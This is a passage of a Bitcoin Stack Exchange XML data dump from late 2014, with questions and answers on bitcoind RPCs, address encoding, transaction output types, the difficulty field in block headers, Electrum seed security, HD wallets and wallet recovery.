Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34148" PostTypeId="2" ParentId="34147" CreationDate="2014-12-23T15:14:19.797" Score="2" Body="&lt;p&gt;You don't have any bitcoins, so you can't create, sign, and broadcast a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for generating a new address, use the &lt;code&gt;getnewaddress&lt;/code&gt; RPC.  It will give you an address you can give someone else to send you bitcoins.  Once you have bitcoins, you can create and broadcast a transaction in one step using either the &lt;code&gt;sendtoaddress&lt;/code&gt; RPC or the &lt;code&gt;sendmany&lt;/code&gt; RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;help getnewaddress&lt;/code&gt;, &lt;code&gt;help sendtoaddress&lt;/code&gt;, and &lt;code&gt;help sendmany&lt;/code&gt; to learn more about each RPC.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-23T15:14:19.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34149" PostTypeId="1" AcceptedAnswerId="34150" CreationDate="2014-12-23T16:49:47.433" Score="1" ViewCount="332" Body="&lt;p&gt;I have a question about bitcoind's getnewaddress command. After I generated by using the command, I can search the address on Blockchain.info. As far as I checked bitcoind's log, bitcoind did not inform about the generating new address to Bitcoin network. So I'm wondering why I can see the information on Blockchain.info. Any help will be appropriated. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My address is this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1BKasyZAsA5F6nt7hrNTJq7KQb8rwjhVAv&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1BKasyZAsA5F6nt7hrNTJq7KQb8rwjhVAv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(update)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this log. Is it broadcasting log..?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-12-23 16:56:58 keypool added key 111, size=101&#xA;2014-12-23 16:56:58 keypool reserve 11&#xA;2014-12-23 16:56:58 keypool keep 11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19338" LastEditorUserId="19338" LastEditDate="2014-12-23T16:55:39.240" LastActivityDate="2014-12-23T17:33:54.090" Title="bitcoind getnewaddress: Why I can see the generated address on Blockchain.info without broadcast?" Tags="|bitcoind|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34150" PostTypeId="2" ParentId="34149" CreationDate="2014-12-23T17:33:54.090" Score="6" Body="&lt;p&gt;If you notice the message on the page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;No transactions found for this address, it has probably not been used on the network yet.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So blockchain.info just verified that the address you searched is a valid address and gave you a message telling you that it doesn't have any record of the address being used anywhere yet. If you look into what addresses really are (&lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;https://en.bitcoin.it/wiki/Address&lt;/a&gt;), then you will see what I mean by &quot;validating&quot; the address. Essentially, there are some checksum (not exactly, but close enough to convey the point) digits put on the end to make sure everything was transposed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log you posted is not a broadcasting log, it's just debug info recording that there was a request for a new address. You're address is not known to anyone, except to everyone since it's posted on here now. :P&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-23T17:33:54.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34151" PostTypeId="2" ParentId="34145" CreationDate="2014-12-23T17:43:40.107" Score="7" Body="&lt;p&gt;When encoding the 20 byte public key hash with base-58, a prefix for the version byte is prepended. In Bitcoin, this version byte is 0x00 so that bitcoin addresses always start with a 1. In Litecoin, this version byte is 0x48 so that addresses always start with an L. This also has the side effect that the base58 encoding of these hashes is 26-34 characters for Bitcoin, and always 34 characters for Litecoin. See &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot;&gt;https://en.bitcoin.it/wiki/List_of_address_prefixes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this doesn't change the fact that there is 20 bytes of information being encoded (addresses are really just human readable short-hand for this 20 bytes of data), and each possible combination has a unique encoding. Therefore, the chance of address collision is exactly the same in the two coins.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-23T17:43:40.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34152" PostTypeId="1" AcceptedAnswerId="34153" CreationDate="2014-12-23T18:33:14.733" Score="2" ViewCount="144" Body="&lt;p&gt;Do all transactions that are included in a valid block have to have at least one bitcoin address as part of their outputs (vout)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this to be similar: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12451/are-bitcoin-transactions-permitted-to-have-no-outputs-i-e-all-inputs-become-tr&quot;&gt;Are Bitcoin transactions permitted to have no outputs (i.e. all inputs become transaction fee)?&lt;/a&gt; although not quite the same.&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-12-23T18:46:08.283" Title="Do all transactions have at least one output that contains at least one bitcoin address" Tags="|transactions|address|output|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34153" PostTypeId="2" ParentId="34152" CreationDate="2014-12-23T18:46:08.283" Score="3" Body="&lt;p&gt;No.  A notable example of a pubkey script that doesn't typically include addresses or keys is the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#null-data&quot; rel=&quot;nofollow&quot;&gt;nulldata standard transaction type&lt;/a&gt;.  Examples of pubkey scripts that include public keys but not addresses are &lt;a href=&quot;https://bitcoin.org/en/developer-guide#null-data&quot; rel=&quot;nofollow&quot;&gt;pay-to-pubkey (P2PK)&lt;/a&gt;[1] and &lt;a href=&quot;https://bitcoin.org/en/developer-guide#null-data&quot; rel=&quot;nofollow&quot;&gt;&quot;bare&quot; multisig&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I'm not absolutely sure, I believe its allowed to have an empty pubkey script.  (That is, the compactSize uint that describes the size of the pubKey script is 0x00.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Bitcoin Core's &lt;code&gt;getrawtransaction&lt;/code&gt; RPC, &lt;code&gt;decodetransaction&lt;/code&gt; RPC, and other RPCs will display the public keys in P2PK, bare multisig, and redeem scripts as addresses---which can be a bit confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] P2PK was formerly used for most coinbase transactions, but that usage has mostly disappeared on mainnet with pooled mining.  It's still a standard transaction type and quite common for coinbase transactions on testnet.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-23T18:46:08.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34154" PostTypeId="1" AcceptedAnswerId="34158" CreationDate="2014-12-23T21:29:28.083" Score="0" ViewCount="1183" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I chose the address to send to in Electrum?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(for Electrum) Can the seed recovery mechanism in Electrum be bruteforced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.1. Since any seed makes some especial addresses (correct me if i'm wrong), (if someone see those) isn't that a way to eliminate the possible words in a seed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I send from a new made address with no transactions? If yes, will that makes my transaction anonymous? (Are the coins connected to the received addresses?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to send Bitcoins completely anonymously?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21627" LastEditorUserId="2306" LastEditDate="2014-12-24T16:20:46.673" LastActivityDate="2014-12-24T16:20:46.673" Title="How do I chose the address to send to in Electrum? Can i send from a new made address with no transactions?" Tags="|privacy|electrum|" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-29T14:37:21.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="34155" PostTypeId="1" AcceptedAnswerId="34156" CreationDate="2014-12-23T21:34:43.203" Score="7" ViewCount="481" Body="&lt;p&gt;The next difficulty to solve a block is determined from how fast blocks were solved before it. In addition, the difficulty only changes once every two weeks or so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, couldn't every node keep track of the expected difficulty and not need to have it in each block header? Or is there a reason nodes need to be communicating the current difficulty in each block? &lt;strong&gt;Not that it would be a major savings, or anything, it just seems strange that this is included when it's just a function of all the other pieces of a chain.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it's because calculating nBits would take a long time eventually if you had to go through all the block headers every time you wanted to calculate the next difficulty?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="121614" LastEditDate="2022-06-04T14:55:39.667" LastActivityDate="2022-06-04T14:55:39.667" Title="Is it necessary for blocks to record the nBits difficulty parameter?" Tags="|difficulty|block-header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34156" PostTypeId="2" ParentId="34155" CreationDate="2014-12-23T21:58:56.460" Score="3" Body="&lt;p&gt;Recall from the &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Nakamoto Whitepaper&lt;/a&gt; that for Simplified Payment Verification (SPV) clients, security is measured mainly by the amount of work done to secure a particular transaction.  SPV nodes can't use past headers alone to verify that an incoming payment is valid, so there's technically not much need to store past headers[1].  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you're not going to store all the headers, you need some way to measure difficulty for the headers you do have---and nBits provides that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that storing recent headers can increase an SPV client's security by allowing it to calculate proper difficulty for later headers.  This ensures an attacker trying to lie to the client has to create proper-difficulty blocks.  Still, a complete headers chain isn't needed here, so nBits is still useful as a starting value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] But BitcoinJ and all other SPV clients I know about still do store complete headers.  At a guess, the reason they do is to help them detect chain re-organizations (reorgs) that would render a previously-received payment invalid.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2014-12-23T23:16:00.080" LastActivityDate="2014-12-23T23:16:00.080" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34158" PostTypeId="2" ParentId="34154" CreationDate="2014-12-23T23:42:23.500" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no such thing as a send address in Bitcoin.  I've heard Electrum has a feature with a name like this, but it's misleading.  Bitcoin payments are often made to an address, but when you spend them, you don't encode any sort of address into the transaction---you just provide the information necessary to prove you controlled the private key that created the address that was paid in the previous transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you start Electrum for the first time, it generates a random 128-bit number (a number between 0 and 340282366920938463463374607431768211455) called a seed.  Electrum then turns this number into the seed phrase you see.  Each of the possible numbers has a different seed phrase.  It's an assumption of cryptographers than no one currently has the ability to try even a significant fraction of all the possible numbers (or phrases) to guess your particular number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. No. There is a mathematical relationship between your public keys and your seed, but it's another assumption of cryptographers that nobody can determine this relationship without your private seed.  (Specifically, they need a number derived from the seed called the chain code.)  So making Bitcoin transactions does not reduce your security.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No. As stated in #1, there is &lt;a href=&quot;https://iwilcox.me.uk/2014/no-from-address&quot; rel=&quot;nofollow&quot;&gt;no from address&lt;/a&gt; in Bitcoin transactions.  Each of the transactions you create will reference one or more previous transactions where you received payment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No.  Bitcoin is a pseudonymous system.  In order to receive bitcoins, you must have a public key.  In order to spend bitcoins, you must prove you control the private key corresponding to that public key.  There are ways to make it difficult for people to associate your Bitcoin transactions with your real-world identity, but (in my opinion) none of them are easy and reliable enough for Bitcoin novices like yourself.  I suggest you only use Bitcoin for transactions that you wouldn't mind becoming public at a later time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-23T23:42:23.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34159" PostTypeId="1" CreationDate="2014-12-24T00:46:48.250" Score="1" ViewCount="3454" Body="&lt;p&gt;I am new to Bitcoin; our company wants to use bitcoin for payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to create a address for each transaction. so we need to create many public address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I need to generate many public and private key-pairs. This is going to be very hard to do in a secure way!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read another &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18102/does-a-wallet-containing-multiple-addresses-have-a-single-private-key&quot;&gt;question&lt;/a&gt; that said with hierarchical deterministic wallets we can do something like creating one key-pair and generate many public address from it (means one private key can have many public key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if it really do!: Do we need to keep all of public keys or just can use private key for transaction bitcoins or checking balanced? or the other public keys are child key and i should keep the first mother public key?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can someone else see how much bitcoin we have earned?  &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;just with child-address?  &lt;/li&gt;&#xA;&lt;li&gt;if she/he get the master public key, can they check our balance?  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We want to use &lt;a href=&quot;https://en.bitcoin.it/wiki/Lazy_API&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lazy_API&lt;/a&gt; and show user an address to use it for transaction and after that check it with blockchain.info json api or blockexplorer, if transaction done after number of confirmation we proceed invoice and they can access to what they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something else: some mobile wallet(like Breadwallet.com for iOS) said that they change public address after current get received bitcoins! Does they create new key-pairs or just do something like above?&lt;/p&gt;&#xA;" OwnerUserId="21630" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2021-12-19T11:17:09.413" Title="Create addresses in bulk; and check balance" Tags="|wallet|private-key|public-key|bip32-hd-wallets|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34160" PostTypeId="1" CreationDate="2014-12-24T01:17:13.750" Score="0" ViewCount="50" Body="&lt;p&gt;As mining difficulty continues to rise, I don't know if it is even worth trying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question to the users actively mining is, how many Bitcoins, on average, are most miners making? And any recent numbers you are willing to share from your mining operations would be appreciated, too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question may be impossible to answer without knowing what hardware and software most miners are using. So I ask a secondary question: what are the dominant hardware and software configurations used by the current players in the mining game? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, who are the most successful miners, how many Bitcoins are they mining, and are they mining with incredibly advanced and expensive mining hardware? &lt;/p&gt;&#xA;" OwnerUserId="21622" LastEditorUserId="5406" LastEditDate="2016-04-24T09:09:56.193" LastActivityDate="2016-04-24T09:09:56.193" Title="How much currency, on average, to expect from Bitcoin mining?" Tags="|mining-profitability|difficulty|mining-setup|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-26T10:22:40.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="34161" PostTypeId="1" CreationDate="2014-12-24T01:35:34.240" Score="4" ViewCount="444" Body="&lt;p&gt;There are many examples of Bitcoin being accepted as a means of exchange in online transactions.&lt;br&gt;&#xA;I haven't found any such examples for Litecoin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the value in LTC mining? What is LTC's purpose if you can't buy anything with it? Do people believe that LTC is in the process of becoming a currency that will one day be accepted in the same online transactions as Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="21622" LastEditorUserId="5406" LastEditDate="2016-03-10T09:43:31.903" LastActivityDate="2018-12-13T20:05:25.103" Title="What reasons are there to mine and support Litecoin?" Tags="|litecoin|currencies|mining-profitability|mining-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34162" PostTypeId="2" ParentId="34161" CreationDate="2014-12-24T03:52:06.500" Score="2" Body="&lt;p&gt;This is simply my opinion on why I get into altcoins. I like to diversify my portfolio. In my eyes any one currency could overthrow another currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I usually do is mine a decent currency, then use that currency to invest in certain things. For example and this is simply an example and I'm not using it to spam. I would mine litecoin then spend my litecoins on hashing on CEX or BleuShares or something else. This starts to make me stronger and gives me more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also sometimes buy metals such as gold and silver with my crypto currencies. But I'm a firm believer of diversification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a twilight zone episode where theives steal gold and sleep for 100 years to find out gold can be manufactured in the future and the gold was worthless. I don't see such things happenning anytime soon, but it is nice to not put all your golden nuggets in the same basket.&lt;/p&gt;&#xA;" OwnerUserId="6017" LastActivityDate="2014-12-24T03:52:06.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34164" PostTypeId="2" ParentId="32870" CreationDate="2014-12-24T15:09:35.490" Score="1" Body="&lt;p&gt;Response on stackoverflow &lt;a href=&quot;https://stackoverflow.com/questions/27299204/matching-keypath-in-application-with-wallet32-keypath-for-bip44-wallets/27627358#27627358&quot;&gt;https://stackoverflow.com/questions/27299204/matching-keypath-in-application-with-wallet32-keypath-for-bip44-wallets/27627358#27627358&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer : now the &quot;44'/0'&quot; notation has been implemented, just update your package of NBitcoin.&lt;/p&gt;&#xA;" OwnerUserId="21478" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-12-24T15:09:35.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34165" PostTypeId="1" CreationDate="2014-12-24T15:25:30.613" Score="2" ViewCount="2155" Body="&lt;p&gt;Hi is there any way to recover my Bitcoin-Qt wallet with only an address and the wallet password? Unfortunately my disk was formatted.&lt;/p&gt;&#xA;" OwnerUserId="21637" LastEditorUserId="2306" LastEditDate="2014-12-24T19:12:18.250" LastActivityDate="2014-12-24T19:19:35.443" Title="any way to recover lost qt bitcoin wallet?" Tags="|wallet|bitcoin-core|lost-bitcoins|" AnswerCount="2" CommentCount="0" ClosedDate="2014-12-26T13:27:41.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="34168" PostTypeId="2" ParentId="34165" CreationDate="2014-12-24T19:16:41.767" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi is there any way to recover my Bitcoin-Qt wallet with only an address and the wallet password?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. I can't think of a secure way for the Bitcoin developers to add recovery method like that, either.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately my disk was formatted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do you mean that the space containing your wallet was overwritten, or that the space at the front of the disk that tells your computer how to read the disk was changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the second one, your Bitcoins might be recoverable.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-24T19:16:41.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34169" PostTypeId="2" ParentId="12943" CreationDate="2014-12-24T19:17:21.443" Score="1" Body="&lt;p&gt;After writing this message, I realize this thread is about a USB based distribution.&#xA;Yet I'm posting about a CD based solution in case it serves the ones who are still searching and deciding...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I did my setup to be able to exchange bitcoin and litecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use two computers for separate offline-and-watchOnly clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After searching and reading, I decided to use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Electrum and Electrum-LTC from a CD-booted operative system,&#xA;rigorously &lt;strong&gt;offline&lt;/strong&gt; (I unplug the ethernet cable from the PC so I&#xA;still have wifi for my phone), with a portable wallet on a pendrive&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and a watch-only Electrum client in Windows (this can be&#xA;fully portable so I plug the pendrive just when I need to use the client&#xA;and nothing strictly related stays permanently on the PC which is often online)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOW?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I grabbed the latest Electrum (1.9.8) and Electrum-LTC (1.9.8.6) clients from electrum.org (the Linux versions come with executable binaries, too) and I added them to the current slax distribution (with the necessary modules but &lt;em&gt;not&lt;/em&gt; the electrum one, and the startup command launches from inside the electrum folder) and made a bootable CD of it (although it works offline, it's good to know that it cannot be modified like a pendrive-resident environment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IS THAT SAFE?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as the offline part stays offline and as long as slax and Electrum do not contain malicious software which might store my seed phrase somewhere in my hardware, that's pretty safe... apart of course the Electrum servers considerations etc. etc. etc..&#xA;If I come to get very rich (but I doubt LOL), I'll start using the Tor network (I already have the connection setup in Windows). (*****)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw that another slax based solution was out, I had tried BTCVault, but&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the Electrum client is a little old&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;because of that, I didn't spend more than a couple of hours on it but&#xA;I couldn't have Electrum create a new wallet on the pendrive (and in&#xA;volatile storage either) through the GUI and the right-mouse-button&#xA;contextual menu item &quot;create new wallet here&quot;, sure I'm missing&#xA;something; I could have it create a new Multibit wallet but that's&#xA;not my choice for now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have tried two more live CDs, Tails 1.2.2 and Ubuntu 14.10, but the boot time is much greater than with slax, and anyway I need the online watch-only part to run on Windows, and in the offline part of the process I wouldn't use the extra features that Tails and Ubuntu might (or not) offer over slax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*****) The only advantage of Tails which is evident to me even for offline use: Tails &lt;em&gt;wipes the memory&lt;/em&gt; before shutting down... I don't know how much time I should wait after shutting down slax, before switching on the PC again, no idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I hope this helps some other crypto currencies newbies!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With the first &quot;crypto-bucks&quot; I will hopefully earn (I'm offering online lessons, trumpet, rhythm, musical theory :D ), I think I shall have to donate to the Electrum and slax developers, and I promise I'll try to avoid dust transactions and will not be stingy with tx fees.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="21640" LastEditorUserId="21640" LastEditDate="2014-12-24T20:15:04.863" LastActivityDate="2014-12-24T20:15:04.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34170" PostTypeId="2" ParentId="34165" CreationDate="2014-12-24T19:19:35.443" Score="1" Body="&lt;p&gt;Unfortunately you cannot retrieve your funds just by having the bitcoin address that &quot;holds&quot; them and the wallet password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use a specialized utility that will try to recover chunks of your formatted disk to their previous state: &lt;a href=&quot;https://softwarerecs.stackexchange.com/questions/251/file-recovery-software&quot;&gt;https://softwarerecs.stackexchange.com/questions/251/file-recovery-software&lt;/a&gt; You then need to look for a file named: &quot;wallet.dat&quot;. If you recover it successfully you will be able to retrieve your lost funds.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:06.520" LastActivityDate="2014-12-24T19:19:35.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34171" PostTypeId="2" ParentId="4295" CreationDate="2014-12-24T19:27:33.063" Score="0" Body="&lt;p&gt;This has already happened. Bitcoin blocks have been mined 6.9% faster than the &quot;10 minutes per block&quot; rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been &lt;a href=&quot;http://www.wolframalpha.com/input/?i=seconds+between+January+3%2C+2009+and+December+24%2C+2014&quot; rel=&quot;nofollow&quot;&gt;1.88e8 seconds since the start of Bitcoin&lt;/a&gt;. Given this, you would expect there to be 314,000 blocks. However, there are actually 335721 blocks at the time of writing. This is a difference of &lt;a href=&quot;http://www.wolframalpha.com/input/?i=335721%2F%281.884%C3%9710%5E8%2F600%29&quot; rel=&quot;nofollow&quot;&gt;6.9%&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-24T19:27:33.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34172" PostTypeId="2" ParentId="34159" CreationDate="2014-12-24T19:37:02.223" Score="-2" Body="&lt;p&gt;As you found out already; private and public keys are not necessarily paired 1-to-1. In fact, using the original Bitcoin client you can just run the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getnewaddress&lt;/code&gt;&lt;/a&gt; to generate a new address belonging to your wallet, which is controlled by only one private key.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-12-24T19:37:02.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34173" PostTypeId="2" ParentId="12943" CreationDate="2014-12-24T19:40:58.303" Score="0" Body="&lt;p&gt;Check out &lt;a href=&quot;http://bitkey.io/&quot; rel=&quot;nofollow&quot;&gt;BitKey&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a pre-bundled collection of software allowing you to perform bitcoin mutations in an air-gapped environment by running it of a USB key or other removable media. Electrum is currently part of their package.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-12-24T19:40:58.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34176" PostTypeId="2" ParentId="32629" CreationDate="2014-12-25T09:24:15.090" Score="1" Body="&lt;p&gt;TL;DR I would use Scala, F# or Rust. If you don't like FP, then Java/C#. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Statically typed: The reason I would avoid Php, and most other dynamically typed languages, is to avoid bugs. Dynamically typed langs are easy to learn and code, but a statically typed lang like Java / C# will avoid a certain kind of bugs, and make refactoring easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatic memory management: I would also avoid langs where you manage memory, like C/C++, mostly because I fear bugs. Remember Heartbleed? That category of bugs can only happen when the programmer manages memory. Rust/Go are better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functional: I know that FP is considered hard, but it is a way to avoid bugs, especially if you are running a multithreaded app where the threads communicate with each other (like trading). FP's most important feature is that you work with immutable data structures. Functional langs are Haskell, F#, Scala and Erlang.&lt;/p&gt;&#xA;" OwnerUserId="20727" LastActivityDate="2014-12-25T09:24:15.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34177" PostTypeId="2" ParentId="34013" CreationDate="2014-12-25T14:44:17.713" Score="8" Body="&lt;p&gt;Looking at &lt;a href=&quot;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&quot; rel=&quot;noreferrer&quot;&gt;this diagram of OP_CHECKSIG steps&lt;/a&gt; and the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Script wiki&lt;/a&gt;, OP_CODESEPARATOR is used to make OP_CHECKSIG check only &lt;em&gt;part&lt;/em&gt; of the scriptPubKey. Essentially, only the script that goes after the last OP_CODESEPARATOR is used to sign the transaction and hence evaluated by OP_CHECKSIG. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, a spending transaction could change the part of the scriptPubKey before the last OP_CODESEPARATOR  of the input transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's a problem. Since scriptPubKey comes from the input transaction, you can't actually modify any part of the scriptPubKey (even the part before the last OP_CODESEPARATOR) without changing the input transaction hash. Changing the input transaction hash breaks the link for any transaction trying to spend outputs from the unspent input transaction, making it impossible to use OP_CODESEPARATOR in practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to find any cases in practice where people have successfully used OP_CODESEPARATOR for a useful purpose, although it does show up in the blockchain. See &lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/29593157/&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0017.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=164655.0&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; (and the thread you 